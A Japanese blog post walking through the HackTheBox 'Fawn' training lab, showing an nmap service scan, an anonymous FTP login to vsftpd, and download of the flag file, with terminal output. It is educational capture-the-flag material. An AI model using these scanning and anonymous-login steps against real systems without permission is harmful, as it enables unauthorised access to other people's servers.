1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

HackTheBox Fawn Writeup

Posted at

はじめに

本記事は「HackTheBox:Fawn」のwriteupです。

問題

FTPでサーバに乗り込みフラグを探す問題です。

回答

とりあえず、ポートスキャンします。
ftp(tcp/21)が公開されていることがわかりました。

┌──(kali㉿kali)-[~]
└─$ nmap -sV 10.129.1.14
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-24 00:06 JST
Nmap scan report for 10.129.1.14
Host is up (0.18s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.74 seconds

次に、ftpコマンドでサーバに繋いでみます。
anonymousユーザでアクセスできるか試してみます(anonymous FTP)。

以下はanonymous FTPについての抜粋です。

anonymous FTPとは、インターネットなどのTCP/IPネットワーク上でファイルの送受信を行うFTPを、誰でも匿名で自由に利用できるようにする仕組み。不特定多数へのソフトウェアやデータの公開・配布などのために利用される。
https://e-words.jp/w/anonymous_FTP.html より

無事ログインすることができました。

┌──(kali㉿kali)-[~]
└─$ ftp 10.129.1.14
Connected to 10.129.1.14.
220 (vsFTPd 3.0.3)
Name (10.129.1.14:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

lsするとカレントディレクトリのファイル一覧が表示されます。
flag.txtというフラグが記載されていそうなファイルがありました。
getで指定したファイルを接続元にダウンロードさせることができます。

ftp> ls
229 Entering Extended Passive Mode (|||20192|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0              32 Jun 04  2021 flag.txt
226 Directory send OK.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||41131|)
150 Opening BINARY mode data connection for flag.txt (32 bytes).
100% |********************************|    32       75.12 KiB/s    00:00 ETA
226 Transfer complete.
32 bytes received in 00:00 (0.17 KiB/s)
ftp> exit
221 Goodbye.

接続元を確認したところflag.txtがダウンロードされており、フラグが記載されていることが確認できました。

┌──(kali㉿kali)-[~]
└─$ ls
Desktop    Downloads  Pictures  Templates  flag.txt
Documents  Music      Public    Videos
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?